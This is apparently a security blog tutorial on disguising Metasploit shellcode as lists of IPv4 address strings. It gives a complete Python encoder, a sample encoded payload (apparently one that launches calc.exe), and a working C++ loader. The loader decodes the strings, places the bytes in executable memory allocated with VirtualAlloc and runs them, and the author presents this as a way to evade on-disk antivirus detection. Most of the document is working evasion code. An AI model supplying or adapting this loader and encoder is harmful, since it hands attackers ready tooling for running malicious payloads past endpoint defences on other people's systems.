I’ve covered other shellcode obfuscation mechanisms before. In this article, we’re looking at how to encode shellcode to look like IP addresses.
The Encoder
Python can be used to convert shellcode produced by Metasploit to what looks like IP addresses:
import argparse
def pad_bytes(byte_array):
length = len(byte_array)
padding = (4 - length % 4) % 4
padded_byte_array = byte_array + b'\x00' * padding
return padded_byte_array
def main():
parser = argparse.ArgumentParser(description='Process shellcode.')
parser.add_argument('--shellcode', help='Filename containing raw shellcode')
args = parser.parse_args()
file_path = args.shellcode
if file_path:
print(f"[+] Encoding shellcode {file_path}")
else:
print("Please provide --shellcode argument.")
exit()
try:
with open(file_path, 'rb') as file:
file_bytes = file.read()
except FileNotFoundError:
print("[ERROR] File not found or cannot be opened.")
exit()
padded_byte_array = pad_bytes(file_bytes)
ip_shellcode = ""
print("std::string ips[] = {",end="")
for i, sc_byte in enumerate(padded_byte_array):
if (i) % 4 == 0:
ip_shellcode += '"'
ip_shellcode += str(sc_byte)
if (i + 1) % 4 == 0:
ip_shellcode += '",'
else:
ip_shellcode += "."
print(ip_shellcode[:-1],end="")
print("};")
if __name__ == "__main__":
main()
This should produce output similar to the following, which can then be imported into our C++ shellcode runner.
std::string ips[] = {"252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0"};
Executing the Shellcode
The following C++ code can be used to decode and execute the shellcode.
#include <Windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>
std::string ips[] = { "252.72.131.228","240.232.192.0","0.0.65.81","65.80.82.81","86.72.49.210","101.72.139.82","96.72.139.82","24.72.139.82","32.72.139.114","80.72.15.183","74.74.77.49","201.72.49.192","172.60.97.124","2.44.32.65","193.201.13.65","1.193.226.237","82.65.81.72","139.82.32.139","66.60.72.1","208.139.128.136","0.0.0.72","133.192.116.103","72.1.208.80","139.72.24.68","139.64.32.73","1.208.227.86","72.255.201.65","139.52.136.72","1.214.77.49","201.72.49.192","172.65.193.201","13.65.1.193","56.224.117.241","76.3.76.36","8.69.57.209","117.216.88.68","139.64.36.73","1.208.102.65","139.12.72.68","139.64.28.73","1.208.65.139","4.136.72.1","208.65.88.65","88.94.89.90","65.88.65.89","65.90.72.131","236.32.65.82","255.224.88.65","89.90.72.139","18.233.87.255","255.255.93.72","186.1.0.0","0.0.0.0","0.72.141.141","1.1.0.0","65.186.49.139","111.135.255.213","187.240.181.162","86.65.186.166","149.189.157.255","213.72.131.196","40.60.6.124","10.128.251.224","117.5.187.71","19.114.111.106","0.89.65.137","218.255.213.99","97.108.99.46","101.120.101.0" };
std::vector<BYTE> convertIPsToByteArray(const std::string ips[], size_t count) {
std::vector<BYTE> byteArrays;
for (size_t i = 0; i < count; ++i) {
std::string ip = ips[i];
std::string octet;
for (char c : ip) {
if (c == '.') {
byteArrays.push_back(static_cast<BYTE>(std::stoi(octet)));
octet.clear();
}
else {
octet += c;
}
}
byteArrays.push_back(static_cast<BYTE>(std::stoi(octet))); // Last octet
}
return byteArrays;
}
int main() {
size_t count = sizeof(ips) / sizeof(ips[0]);
std::vector<BYTE> shellcode = convertIPsToByteArray(ips, count);
std::cout << "Executing bytes...\n";
for (const auto& byteArray : shellcode) {
std::cout << " 0x" << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray);
}
std::size_t vectorSize = shellcode.size();
char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
memcpy(buffer, shellcode.data(), vectorSize);
void (*function)();
function = reinterpret_cast<void (*)()>(buffer);
function();
return 0;
}
In Conclusion
From testing, this encoding scheme does not significantly alter the file entropy, but does assist with evading on disk detection.